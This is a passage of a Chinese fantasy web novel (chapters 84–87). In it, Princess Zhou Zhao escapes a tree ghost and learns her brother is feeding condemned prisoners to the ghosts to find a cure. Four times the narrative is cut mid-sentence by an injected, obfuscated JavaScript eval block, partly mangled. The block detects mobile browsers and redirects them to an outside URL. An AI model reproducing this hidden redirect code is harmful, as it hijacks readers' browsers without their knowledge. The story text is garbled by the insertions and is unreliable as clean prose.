槐鬼绑住周昭口鼻的藤蔓一松,盖在那张鼻青脸肿的鬼脸上,还没来得及尖叫,那些人头已笑得眉眼发颤,从周昭这个角度看去好像索命的鬼骇人的妖。 “——啊!!!”槐鬼终于叫出声。 周昭来不及害怕,借着刚才的力道,身体又在树干上来回撞了几下,绑着她双脚的那根藤条扭成一股麻绳,周昭只感觉脚腕一阵剧痛,继而是血液不流通的麻木,那藤条眼看就要断了,周昭叫道:“狼牙!” 狼牙还在为救她而跟那些张牙舞爪的槐树枝对打,听见这一声,仿佛为了回应周昭的呼救,立刻前蹄跪地,整个头向前拱去,几乎要伸到槐鬼那刚被周昭踢过的脸上。 这样一来,槐鬼要想抓周昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959578|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入口,就得先把这匹高大的枣红马推开才行。 槐鬼抓不住周昭,周昭却身体向前一荡抱住狼牙,狼牙与她心有灵犀,随即抬起前蹄向后一拽,那根脆弱的藤条应声而断,马背再次向前一拱,周昭终于以一个不太体面,但是还算稳当的姿势落在狼牙背上。 “狼牙,好样儿的!” 狼牙再次嘶鸣一声,调转马头驮着周昭向前奔去。身后传来槐鬼气急败坏的叫骂声,还有人头嘻嘻哈哈放肆的笑声。 周昭现在面朝马臀,双手双脚都被绑着,虽说狼牙很努力地想把周昭带离这个鬼地方,但周昭浑身使不上劲儿,没走多远就从马背上翻下来。 狼牙跪在她身边,不停地用脑袋蹭着周昭。 周昭干脆仰面躺着,长长地吐出一口气,她也不急着想法子解开身上这些藤条,只觉得累极了,实在是累极了。 于是堂堂公主殿下,宣庆帝捧在手心里的金枝玉叶,就这样堂而皇之地躺在夜晚漆黑的大街上。 月亮高悬于顶,却被密密实实的乌云遮住。 周昭闭上眼睛,马儿似乎也累了,见周昭不愿起身,于是安安静静躺在她身边。 如果这一切都是个梦,那该多好。 盛都没有槐鬼,师父也还活着。 如果师父还活着,那该多好…… 眸中的酸涩让周昭更不愿睁开眼睛,她怕醒过来发现这不是个梦,也怕睁开眼那积蓄多日的痛苦会倾泻而出。 这份痛苦自从听到江梅棠去世的消息那日起,就已经深埋在周昭心底。而后槐鬼的出现让她无瑕再去想,甚至渐渐地淡忘。 可今天差点儿死在这里,周昭才发现,江梅棠的离世给她带来的痛苦不光沉重,而且足够深远…… 让周昭不愿醒来的不光是江梅棠,还有她自己。 这夜的遭遇让周昭恍惚间意识到,原来她并非无所不能,原来事在人为这四个字,有太多的巧合跟命运的垂怜。 如果槐鬼刚才将她撕成两半,如果没有狼牙,她还能活着逃出来吗? 周昭有一瞬间的害怕,随后是深沉的孤独与疲倦席卷了她的整个身体。 盛都城这么大,周昭生平第一次觉得孤独。 ……马蹄声由远及近,紧跟着是仓促而凌乱的脚步声。 有人来了。 ……好丢人。 “殿下。” 周昭刚睁开眼睛,裴砚那张焦急的脸便出现在她的视线里:“殿下让我好找。” 裴砚什么都没问,周昭想自己现在的样子一定狼狈不堪,她佯装平静道:“裴砚,你怎么来了?” 裴砚低着头解她身上的藤条,小心翼翼扶着她的肩膀坐起来,道:“殿下许久未归,我来寻你。” 周昭忽然觉得盛都城也没有那么大,月亮从黑压压的云层露出来一个角,夜空渐渐变成斑驳的瓦蓝。 “谢谢你,裴砚。” “我若不来,殿下打算一直躺在这儿吗?” 这话无比熟悉,周昭一时想不起来在哪儿听过。裴砚又问:“还能站起来吗?” 周昭嗯了一声,裴砚扶着她缓缓站起来,但周昭双脚刚一触底,就好似没了骨头软绵绵地往地上倒。 裴砚就在身边,是不可能让周昭跌回地上的,他下意识地长臂一伸,周昭不可避免地倒在他怀里,裴砚吃了一惊,叫道:“殿下!” 85. 第 85 章 周昭面不改色道:“无妨,脚软了。” 裴砚没戳穿她,又好生扶着周昭坐下,不由分说地解开周昭的鞋子,但他刚解了没两下,又倏地缩回手,像被火烫着似的,低头道:“殿下,我是想看看你的伤……” 本来周昭没觉得有什么,裴砚这一弄,周昭反倒不好意思起来,愣了半晌,说道:“哦,应当没什么大碍。” 她虽然手腕也没力气,但自觉比双脚好得多,于是自己动手除去鞋子。刚脱掉一只,手腕便一阵钻心剧痛,周昭虽然没叫出声,但忍不住轻轻蹙了蹙眉。 裴砚立刻按住她的手:“还是我来。殿下,冒犯了。” 这回裴砚三下五除二脱掉周昭鞋袜,又小心将她小腿处裤子往上卷了卷,周昭脚腕皮肉几乎全部磨烂了,脱下的白袜都沾了点点血迹,本来一双雪白的脚此刻也又红又肿,周昭笑道:“真丑。” 她本就是没话找话,苦中作乐。 谁知裴砚凝了片刻,竟十分认真道:“不丑。” 裴砚这人真是…… 周昭这下是真的无话可说了。 她脸色微红,躲开视线,又听裴砚说道:“殿下,我要看看你的伤势,可能会有点痛,忍一忍。” “嗯。” 周昭本以为自己的脚腕什么知觉都没有了,但当裴砚那沁着丝丝凉意的手指轻轻搭在她脚腕上时,周昭终于忍不住向后缩了一下。 裴砚却握住她整只脚腕,双手不知怎么地在脚踝上一扣一用力,一阵剧痛刹那间传遍全身,那阵痛过去之后,却又好了许多。 “……殿下右脚伤着骨头了。”裴砚又握住周昭另一只脚,“左脚还好,但也需要静养。” 他半跪在周昭面前,动作轻缓地将周昭左脚放进怀里,说完这句就再也不出声,只是一味低着头,用手掌掌根处在她左脚脚踝轻轻按揉着。 此时月亮终于冲破乌云,月光沿着大路在身下缓缓流淌,河岸边唯有水流声哗啦作响,周昭的思绪也跟着安静下来,仿佛刚才的痛苦果真就像个噩梦,随着这条河流缓缓向东而去了。 这份久违的平静渐渐地变得古怪起来。 周昭虽然在北疆大营待过两年,跟男人同吃同住,但因着霍璋有意无意的照拂,加上营中总是有很多人的,周昭从没有像现在这样跟一名男子独处过。 更何况她鞋袜尽褪,一双脚还被对方捧在怀里,换做别的女子早就羞得满面通红,也就是周昭在这方面过于迟钝,到了此时此刻,才觉出几分不对劲的古怪来。 这是种从未有过的,很奇怪的感觉。 裴砚的手起初明明是凉沁沁的,但挨蹭着她脚掌的地方却无端觉得又痒又烫,让周昭一颗心也跳得愈发快。 她耳根染上一抹红,幸而在夜里看不清楚,低声道:“裴砚,可以了。” 裴砚立刻松开她,晾在一旁的鞋袜是不能穿了,好在周昭衣摆很长,刚好挡住她那一双脚。 周昭用手轻轻抚摸着狼牙,马背上好几道鲜红血痕,她疼惜道:“狼牙,辛苦你了。” 狼牙通人性,蹭了蹭她的手掌。 裴砚牵着狼牙,和自己身后那匹黑马拴在一起,然后道:“殿下,我背你回去吧。” 周昭还是很小的时候被自己几个哥哥背过,她有些手足无措地虚扶着裴砚的肩膀,身体像一块僵硬的钢板,裴砚不由低笑道:“殿下,你可以搂住我的脖子,放轻松。” 周昭照做了,果然好很多。 说来奇怪,裴舟明明看起来半大的小子,周昭趴在他背上,却觉得这人身长肩宽,让人没来由地觉得稳当。 裴砚背着她,身后两匹马不用人牵也知道跟着主人走。狼牙受了伤,那匹黑马挂着周昭一双鞋袜,不时凑近了去舔舐红马身上的血痕,人跟马的步调竟出奇的统一。 周昭又想起那颗珠子来。 不过她心中已经有了打算,所以不愿在此时提起。 至于裴砚,周昭惊讶地发现,两年前那个在他们面前大哭的少年,竟像抽了条的柳枝似的。不光个头比她高出不少,肩膀也变得宽厚到足够承担她的重量。 “殿下,如果没有槐鬼,你最想做什么?” 裴砚很少主动开口,周昭惊讶之余,思忖道:“我想回北疆,打完剩下的仗,让边境百姓不再受孟舒骑兵侵略之苦。” “倘若北疆无战事呢?” “那就去南疆,或者汴西十三州找大哥去,听说那里最近各国蠢蠢欲动,我担心……” “殿下。”裴砚终于忍不住打断她,“倘若朝野清明,天下无战呢?” 这回周昭想了挺久。 她还不满十八,如果既没有槐鬼也没有战争,那么她应该会像寻常公主一样承欢膝下。 到了合适的时机,父皇母后会为我指一个品貌俱佳的驸马。 不,我要自己找驸马。 想到这里,周昭露出这个年纪的少女明媚而又满是希冀的笑来。 她甚少有过这样的表情,垂着眼眸的侧脸跟苍界山上那副神女画像一点儿也不像了。 神女是供在祠堂受人跪拜的,而十八岁的少女理应是周昭现在这样,自由且充满幻想的。 她勾着裴砚的脖子,说:“如果是这样,我要每天都穿漂亮裙子,等我哪天不想穿了,我就换上骑装,去北疆的雪山底下一圈又一圈的骑马。马儿也骑累了,就去南边的湖畔赏花观月……” 回到南衙,周昭第一件事便是让人将那颗烫手的珠子取出来,派人快马加鞭送去南苑。 那里本来也是皇家猎场,但自从几年前疟鬼出现,围猎场险些变成乱葬岗,南苑方圆数里便就此荒废了。 事实证明,他们的未雨绸缪是对的。 槐鬼吃人就能恢复的消息,很快在盛都城内不胫而走。一天之内,便发生了十余起槐鬼试图吃人的案子。 唯一值得庆幸的是,由于禁军的提前守卫,没有一个人真的被槐鬼吃掉,也没有一个槐鬼因此被杀。 翌日清晨,南衙一大早便闹哄哄的,除了偶尔传来槐鬼尖利的笑声,另有比集市还热闹的吵嚷声,仔细再听,这些声音里还藏着此起彼伏的哭声。 沿着细细的哭声一直往南衙东边走,是那片槐花飘香的树林。 树林里如今已挂着三百二十一颗人头,树上长着一百六十张人脸,这些人脸其中有十张正在享用早饭,另外一百五十张则望眼欲穿,涎水直流。 哭声正是来源于即将被吃掉的“早饭”。 校场之上槐花也掩盖不住的是浓重的血腥味,渐渐地,哭声归于平静,偌大的校场只剩下一片咔吱咔吱声,犹如不小心掉进鼠洞,被成千上万只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964377|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老鼠用尖利的锯齿包围。 这些老鼠们眼冒绿光,咬得正起劲。 闫斯年腿软发软,不得不用手撑住栏杆才能站稳。 他先是将目光落在不远处的周驰身上,对方负手而立,半张脸隐在树荫底下,神情晦暗不明。 闫斯年又看向周驰身边的肖季言,那位不爱说话的年轻将军同样长着张沉默寡言的脸。 他手握一把弓,箭筒已经空了,肖季言将弓重新背在背上,好像什么也没发生似的又隐入砖墙的阴影里。 闫斯年正准备悄没声地退下去,周驰目光未动,却道:“统领往哪儿去?” 闫斯年心里咯噔一下,周驰道:“南衙还有许多事儿要统领操办,至于明鸢那边,听说她在忙着找什么珠子,且由着她去玩儿罢。” 昭阳殿内。 周昭正低头翻看裴砚前几日送来的那份名册,她后来又派人去查探过,结论证实了她的猜想: 那日皇城中出现的小女孩跟她散发的珠宝,与盛都城突然出现的槐鬼一定有脱不开的关系。 虽然周昭现在还不知道,这其中到底有着怎样千丝万缕的联系。但直觉告诉周昭,只要能找到那个女娃娃,这些萦绕在她心头百思不得其解的问题都会有个答案。 可惜的是,她就好像是在盛都城突然出现又凭空消失了。 禁军带人在皇城以北挨家挨户找了个遍,一点儿踪迹都没有。如果范围要再扩大,从皇城以北再到南边,甚至是盛都城外,无异于大海捞针。 周昭正紧锁着一双眉头,流筝领着太医进来道:“公主,该换药了。” “知道了。” 来的是位女医官,她小心拆了周昭腕上浸着草药的绸布,忍不住嗔怪道:“公主殿下,您这伤需要静养,您看,我前日敷的药又被您弄得一塌糊涂了。” 周昭目光还停留在那名册上,翻页的间隙往下瞧了一眼,道:“劳烦大人费心。” 女医官摇摇头,心想这位公主殿下真是不拿自己的贵体当回事儿。她换完药退出去,又嘱咐流筝伤口切记不能碰水、饮食要清淡之类的话。 流筝愁眉苦脸的回来,周昭恰好抬起头看见她这副模样,不由微笑道:“流筝姐姐,干嘛丧着脸?” “公主......”流筝语气无奈,周昭问道:“太医呢?” “早送出去了。”流筝不由分说地将桌案上的一应物品都收走了,“公主,您天天捧着这些看来看去,我真不明白,难道它们有您自个人的身子重要?公主别拿这样的眼神看我,我知道您又要说什么槐鬼,但这不是有陛下和大殿下他们操持,您有什么好担心的呢?咱们只管像从前那样,不好吗?” 流筝将周昭按回床上休息,周昭明白她一番好意,没有争辩,只笑说:“流筝姐姐,你这样把我裹成个粽子,像是生怕我跑了。” 流筝用略带责备的目光看她一眼,周昭轻轻揽住流筝,靠在她肩膀上,举起双手道:“你看,我这伤已经好很多啦。” 周昭本想说从前在北疆受过比这重得多的伤,但流筝一直怪她当年跑去北疆没有带她,说了这些又怕惹流筝伤心,于是及时止住话头。 这时,一名侍女走进来说:“公主,外面有位将军要见您。” “哪位将军?” “面生,是位女将军。” 86. 第 86 章 周昭披了件外衣走出寝殿,远远地瞧见身穿绯红朝服的兰令仪。 兰令仪转过身来,目光在周昭腕上轻巧掠过,里头盛着的怒意随之减轻几分,但神情仍是不大高兴的,微微欠身道:“公主殿下。” 周昭有些意外兰令仪会来昭阳殿。 听闫斯年说兰令仪有座相当阔气的府邸,甚至还圈了一块小小的猎场,兰令仪只要回盛都,大部分时间都是在家中度过,从不结交权贵,也不出席任何宴席。 兰令仪一身傲气,除了天子不把任何人放在眼里,相较于她,连霍璋的脾性都显得平易近人不少。 面对兰令仪来势汹汹的怒容,周昭心里忍不住跳了一下:“兰将军。” 兰令仪有几分刻薄道:“殿下原来是在这儿,躲清闲来了。” 流筝忍不住道:“我家公主受伤了。” 兰令仪目光不为所动。 “流筝,你先出去罢。”周昭心中纳闷,不知兰令仪的态度怎地与前几日截然不同。 等流筝不情不愿走了,周昭道:“兰将军请坐,这儿没有其他人,您有什么话还请直说。” 兰令仪毫不客气地坐下,道:“早在南疆,我就听说当今陛下的独女心怀天下,两年前盛都疟疾横行,也是殿下救了数千人性命。我这人不信传言,只信眼见为实。那日校场初见,见过殿下,我还当传闻不虚。可今日来看,世人未免夸大。” 兰令仪这番话夹枪带棒,周昭隐隐有几分生气,可转念一想:“兰将军并非无端生事之人,她这么说定有古怪,我若先摆出公主的架子,岂不是将人家真正想说的一番话堵在心里?” 周昭不禁微笑道:“将军说得对,当年疟疾之所以偃旗息鼓,全靠我师父行医济世。将军今天来,若是要跟明鸢讨论这些虚无缥缈的坊间传言,您只需将听到耳中的话减去一半,之后再减一半,那才是真的。” 兰令仪没想到周昭脾气这么好,一时无言,只恨恨地端起茶饮了一大口。 周昭见她饮茶姿态豪放,不由想起一位故人,她思绪犹如这茶香漫无边际,因此也没有再开口。 这阵古怪的沉默过去,兰令仪猝然起身,周昭忙道:“将军就要走?” 兰令仪心直口快道:“这茶我喝不惯,公主您自个人慢用。” 周昭忍着脚腕疼痛,三两步追上去,问道:“将军来找我,发生什么事儿了?” “发生什么事儿了?!”兰令仪转身,一双凤眸猝然睁大,“公主问我发生什么事儿了?南衙这些天死的那些人不都是你授意的吗?” 这回轮到周昭惊愕道:“南衙有人死了?” 兰令仪双目微微眯起,似乎在探究这句话背后的真实性。 周昭急道:“将军,您也看到了,我这阵子都在宫里养伤,南衙好些天没去过了,没听起闫统领说南衙出事了啊......” 周昭形容慌乱,兰令仪半信半疑道:“公主殿下,您虽然是好些天没去南衙。但几日前不是您跟大殿下一同进宫面圣,才有了那道秘旨吗?因着这道秘旨,南衙每天都在死人,殿下难道一概不知?” “什么秘旨?”周昭困惑不解,兰令仪道:“槐鬼吃人就能恢复,这件事儿盛都城早就传开了,这个殿下总该知道吧?” “这跟秘旨有什么关系?死人又是怎么回事儿?” “殿下居然问有什么关系?就是因为这个本该捂死了的秘密,刑部每天都有犯人被押送到南衙,给那些槐鬼当饭吃!” 此事实在过于骇人听闻,周昭几乎是立刻想到那日在城北,那个被槐鬼抓在手里撕成两半的人。那阵令人作呕的血腥味彷佛跟着飘进昭阳殿,周昭脸色发白,阵阵恶寒。 兰令仪见她好像真的对此事毫不知情,态度不由和缓许多,但兰令仪为人骄傲,绝不可能为刚才那些屡屡冒犯的话语道歉。 她扶着周昭小心坐下,眉头紧锁,说道:“殿下,刑部关押的犯人固然有罪,但他们的罪应该交由我大周律法裁断,而不是被蒙住眼睛押到南衙,成为那些半人半鬼的东西盘中餐口中食。” 周昭抬起头道:“我竟半点儿没听说过,将军,这到底是怎么一回事儿?” “我也是那日路过南衙,碰巧知道。大殿下那位副将,叫肖......” “肖季言。” “对,就是他。现在都是由他亲自去刑部押犯人,送到南衙之后,再交给那些槐鬼吃掉。” 原来兰令仪来找我是为了这件事,但人吃人如此荒谬的事情......周昭忽然想起来那日他来宫中找周驰,对方跟他一道出宫却并未同行,而是去了趟刑部。 周昭再看兰令仪身上的朝服,心想兰将军多半是刚去找过父皇,事情不顺又来找我“兴师问罪”。 周昭顾不得手脚疼痛,跟兰令仪匆匆出宫。 裴砚被周昭派去找那个女娃娃跟散发出去的珠宝,并不在宫中。兰令仪看周昭腕上伤口,笑说:“殿下若不介意,不如与我同乘。我这马儿虽然比不上殿下那匹狼牙,但也是千里良驹。” 周昭谢过兰令仪,二人策马向南,不大会儿子功夫就到了南衙。 首先撞见的人是闫斯年,之所以说撞上,是因为闫斯年鬼鬼祟祟贴着一道小门往外走,正好被兰令仪抓了个正着。 闫斯年一看兰令仪,忍不住想起昨日她险些跟肖副将拔刀相见,不由腿软了几分,正要说话又望见周昭,喜道:“殿下,您怎么来了?” 兰令仪不冷不热道:“来看你们干的好事儿。” 闫斯年连连摆手道:“殿下,这真的不关我事......” 周昭道:“统领往何处去?” “啊这......”闫斯年磕巴道,“肖副将等会儿就带人来了,我......”他尴尬地笑了笑:“殿下实不相瞒,我见了那槐鬼吃人,晚上总做噩梦,所以我躲远点儿......再说我媳妇儿刚生孩子,我积点德,嘿嘿……” 兰令仪稀奇地看了闫斯年一眼:“哟,你这种人也能当爹了?儿子女儿?改天我看看去。” “我多大面子,敢让将军您登门拜访?” 三人一同往校场方向走,闫斯年心中苦不堪言,这些一个二个,都是他一个小小的统领惹不起的人物。万一在南衙真的一言不合动了刀子,那他是躲不过去这场劫数了。 闫斯年担忧的同时,又忍不住存了点儿小小的期许。闫斯年始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970218|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终觉得这救人的法子太过残忍,简直是惨无人道,如今周昭不用他去请就来了,说不定,他日后再也不用跟在肖季言那个怪人身边,给槐鬼“喂饭”了。 到了校场,不知是不是错觉,周昭总觉得这几日的血腥味仍淤在这片林子里,经久不散。她如今再看槐鬼,只眼前这一棵棵不是槐树,而是张牙舞爪的厉鬼,那一张张尚在沉睡的也不是人脸,而是饮血啖肉的妖怪。 殿下真的认为,这些东西还能算作人吗? 裴砚的话不经意间又在耳边响起,周昭忍不住打了个寒颤,问道:“统领,这几天往南衙送来多少人?” 闫斯年道:“刚开始每天十个人,从昨天开始变成每天五个,一共是四十人。” “也就是说有四十个人被槐鬼吃掉了?”周昭秀眉微蹙,沿着校场走了半圈儿,“但这校场里的槐鬼压根没少,统领。” 闫斯年低着头微微发怵,心道这位公主年纪不大,气势竟跟常年滚在沙场的兰令仪不相上下,他如实道:“属下也不太明白。” “你不明白?” “你这人说话磨磨唧唧,真麻烦。”兰令仪说话毫不客气,闫斯年回敬一副你行你来说的表情,又转头恭恭敬敬对周昭道:“殿下,虽然是有四十个人被槐鬼吃掉,但真正恢复的,只有两个人。吃人确能治病,但属下的确不明白,为什么有的可以,有的不可以。” 兰令仪道:“那剩下的人岂不是都白死了?既然几率如此之低,为何还要每天从刑部提人来?” 这正是周昭想问的,闫斯年道:“因为几率虽然低,但不是零。” “不是零,就说明吃人的法子行之有效,只是还没有找到合适的人。”周昭道,“大哥兵行险着,就为了找到那个、不,那一类适合当作盘中餐的人。” 兰令仪忍不住道:“万一一直找不到,难道就一直这么试下去吗?这也太残忍了。” “想不到兰将军驰骋沙场,手中那条软鞭不知收过多少人头,竟也如此......妇人之仁。” 周驰闲庭散步而来,跟在他身后的是副将肖季言。肖季言身后跟着一个禁军,押着两名蒙住双眼,手脚皆缚镣铐的犯人。 周驰目光睥睨,兰令仪常在战场,知道那是胜券在握之人惯有的表情。 她敏锐地注意到昨日还是五名囚犯,今日却骤减成两名,心中思忖片刻,料想周驰已经找到自己想要的人,待周驰走近,不卑不亢地回应道:“我兰令仪只杀周朝的敌人,不当刽子手。” 闫斯年额头上直冒冷汗,脚步微不可察地往后退了几步。周驰不语,并不想跟这位女将军撕破脸,他目光落在周昭腕上,道:“小妹这伤听说是槐鬼弄得,可好些了?” “好些了,大哥。” “那便好。”周驰做了个手势,肖季言即刻押着那两名囚犯上前。周昭显然也注意到这数量上的变化,问道:“大哥找到医治槐鬼的药方了?” “小妹,你看仔细了。”周驰不置可否,露出一个势在必得的笑容,这让周昭觉得恍惚间看到了父皇年轻时的模样。 此时其中一名囚犯已经被押到槐鬼树丛里,肖季言拔箭搭弓,只待周驰一声令下,箭便要离弦而发。 87. 第 87 章 周昭再看周驰神情,心知这箭在弦上不得不发,忍不住道:“大哥,非要如此吗?” 周驰侧过脸来,道:“小妹如果有更好的法子,何乐而不为?” 兰令仪问道:“大殿下还没说,药方到底是什么人?” 周驰略加思索,示意肖季言先放下弓箭,他摘下身后那名还没被送上断头台的囚犯头套,露出一张惊恐万分的脸来。 周驰十五封王,之后十余年驻守汴西十三州,对人之将死的恐惧司空见惯,平静道:“姜国人。” “姜国人??”周昭跟兰令仪异口同声道。 “不错,是姜国人。”周驰道,“兰将军凯旋那日,在盛北遇到的那个被槐鬼活吃掉的倒霉鬼,不正是姜国人吗?说来还要谢谢兰将军,要不是将军,我如今还被李勇那小子蒙在鼓里,竟不知许多人都被他以敛财为目的放出城去了。” 周驰接着道:“这几日变成人的那两名槐鬼,都是吃了姜国人才恢复的。” “大殿下如此说,我倒是想起一桩事儿来。”兰令仪道,“姜国在南疆以东,我回朝时路过义县边境,听说姜国最近招兵买马,动静不小。” 周驰点头道:“此事定西王也上报了,不过姜国地方太小,父皇只是拟了道折子给霍将军,让他派兵监察。” 周驰口中的霍将军自然是霍行野,兰令仪那张一贯从容不迫的脸上露出一丝极难察觉的不自然,这神情落入周昭眼中,搭话道:“定西王?” 周驰转向她,解释道:“汴西分十三州,其中以凉州疆土最广,兵力最盛,凉州对我大周俯首称臣,因此凉州王也被封为定西王,这些年为整个汴西安定出了不少力。” 周昭问道:“凉州距姜国甚远,凉州王怎么知道的这消息?” “我、我不想死!”那名囚犯见校场上槐鬼森森,忍不住发出一声尖叫。 他脸色惨白,双脚发软,周驰示意将那头套重新套在囚犯脑袋上,套好之后,那份恐惧又随着黑色布袋的战栗传递出来。 身侧两名禁军不得不一人搀住囚犯半边胳膊,才能使这具因为即将面临死亡,而异常沉重的躯体不瘫倒在地上。 周驰置若罔闻,继续回答周昭的问题:“这些当国主的,都有鹰一般的眼睛。” “大殿下便是西南腹地的驯鹰人。”闫斯年这话接得恰到好处,周驰微微一笑,兰令仪则不以为然,指着囚犯问道:“大殿下,您的副将昨日跟我说,这些都是刑部公文上朱笔勾过的死囚,这话当真?” 周驰道:“自然。” 周昭问道:“这两名姜国人也是吗?” 周驰短暂地犹豫了一瞬,兰令仪追问道:“他犯了什么罪?” 周驰招手道:“季言,你过来。”肖季言放下弓走过来,周驰吩咐道:“给兰将军看看这人的供词。” 肖季言显然早有准备,从怀里掏出一张叠了两折的公文纸,递给兰令仪。 兰令仪看完,递给周昭,语气鄙夷道:“确实该杀。” 这人原来犯的是□□人妇的大罪,按大周律法需判处二十年监禁,兰令仪生平最恨欺辱妇女儿童之徒,这份供词简直就像是专程给兰令仪看的一样。 这位女将军态度陡转,才有了“该杀”二字。 周昭将供词还给肖季言,她心中并不认可这种以命换命的法子,又深知周驰脾性,问道:“大哥,如果真像你说的,槐鬼只有吃掉姜国人才能好。那么,刑部的姜国死囚总有杀完的一天,但槐鬼却像野草一路沿盛都疯长,终不是长久之计。” 林中有将近百名槐鬼,都已经变成了像沈博年那样真正的槐树,剩下的也都无精打采,随着两名囚犯被押送到槐鬼林中,槐鬼们就好像知道接下来会发生什么,表情逐渐亢奋,人头也开始接二连三地发笑。 尽管如此,周驰的脸上却不复前些日子的阴霾,他目光锐利而沉稳,道:“槐鬼出现的突然,这其中必定有人捣鬼,欲动摇我大周根基。” 周昭明白他话外之音,问道:“大哥觉得,这背后捣鬼的就是姜国人?” “毒蛇百步内,必有解毒草。”周驰道,“若姜国没有野心,招兵买马作甚?” “是不是姜国人,查一查不就知道了。”兰令仪将目光从槐鬼林收回来,想起昨日看过的那场血淋淋的吃人画面又要再度上演,不禁有几分后悔刚才一时嘴快。 周驰赞同道:“昨日我已经禀明父皇,允我去姜国问个清楚。但前提是,父皇要确认姜国人果真就是槐鬼的解药。我今日来,就是要做个验证。” 兰令仪敏锐道:“大殿下说的,怕不只是问这么简单吧?” 周驰不置可否,周昭则道:“大哥,非杀不可吗?” “非杀不可。”周驰抬起右手,几乎是同一时刻,两道利箭离弦而出,那两名囚犯甚至都没来得及发出哀嚎,就已经死在肖季言弓箭之下。 血腥味冲天而起,却不是来源于箭伤,而是人的身体被撕碎后哗啦啦流淌出来的内脏和鲜血。 槐鬼们兴奋的叫声回荡在校场上,跟这叫声相呼应的,则是嚼碎骨头后的吞咽声。 “槐鬼有个习性,他们本来不知道吃人的滋味儿,但是自从闻到过人的鲜血,他们就变得跟鬼没什么区别了。”周驰饶有兴致地观看,“你们瞧,这些槐鬼哪里还有半点儿人的模样。” 闫斯年早不知跑哪儿去了,兰令仪眉头紧锁,周昭几欲呕吐,就连周驰细细观赏了会儿也移开视线,唯有肖季言从头到尾都没有什么反应。 他收了弓箭站在一旁,目不转睛,等待着那些槐鬼争先恐后地吃完“饭”,然后走到周驰身边,低声道:“将军,都记下了。” 周昭终于忍不住扶着墙干呕,兰令仪缓缓地在周昭背上拍了几下,问道:“殿下,你还好吗?” 周驰先是啧了一声,又四下张望,却没在南衙找到一名侍女,随手招来两名禁军,道:“将公主送回宫去......牵马干什么!找辆马车来。” 周昭呕了阵子,将来时喝的那一碗黑乎乎的汤药吐了个干净,胃里翻江倒海,语调发颤道:“多谢兰将军,我没事儿。”她转向周驰:“大哥,我早有个疑问。” 周驰不大满意周昭这副模样还要过问,耐着性子道:“你说。” “一个成年人少说也有百斤重量,槐鬼……槐鬼分而食之,”周昭强忍不适,假装没听见耳边那些咔嚓咔嚓的声音,“为何只有两个变成人了?” “季言,你说。”周驰转身朝校场之外走去,兰令仪扶着周昭跟上,直到离那阵贪婪的啖肉食骨声越来越远,周驰才停下脚步,示意肖季言可以说了。 肖季言道:“人虽有百斤重量,但五脏六腑心肝脾肺,加之手脚各四只,人头一只,其余并无特别,将军猜测,槐鬼吃掉的部位不同,结果也不同。” 原来肖季言刚才是在观察,观察槐鬼都吃掉这两个人的哪些部位,一个人能平心静气地观看这幅血腥画面已实属不易,肖季言竟然能面不改色记住他们分别都吃了什么。 要么是他看过比这还要残忍的场景,要么就是这个人视人性命于无物,换句话说,肖季言看槐鬼吃人就跟看人吃猪肉没什么分别。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978632|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周昭不禁一阵恶寒,此时马车已经赶来,周驰不由分说地将周昭撵上软轿,放下帘子时,周昭情不自禁握住周驰欲转身离开的手,道:“大哥,能不能应我一件事儿?” 周驰道:“你想让我在查明情况之前,不再杀人?” “大哥肯应我吗?” 周驰思忖片刻,道:“且看明日……” 周昭知道他这便是允了,周驰反握住她的手,在她手背上轻轻拍了两下,淡淡笑道:“小妹,你且安心在宫里休养。” 轿帘缓缓落下,周昭看着周驰离去的背影,突然觉得这位大哥并不像想象中离她那么遥远。 她向后仰躺在软垫上,轿子摇摇晃晃出了南衙,她如释重负般吐出一口气,但刚一闭上眼睛,眼前便出现那些槐鬼争相食人的模样,周昭不敢再睡,就这么一路睁着眼回到昭阳殿。 殿内裴砚早已候着,他一眼瞧见周昭脸色苍白,快步上前,问道:“殿下,你……” 周昭未待他问完,便说:“裴砚,你知道南衙发生的事儿吗?” 裴砚垂下手,明知故问道:“什么事?” 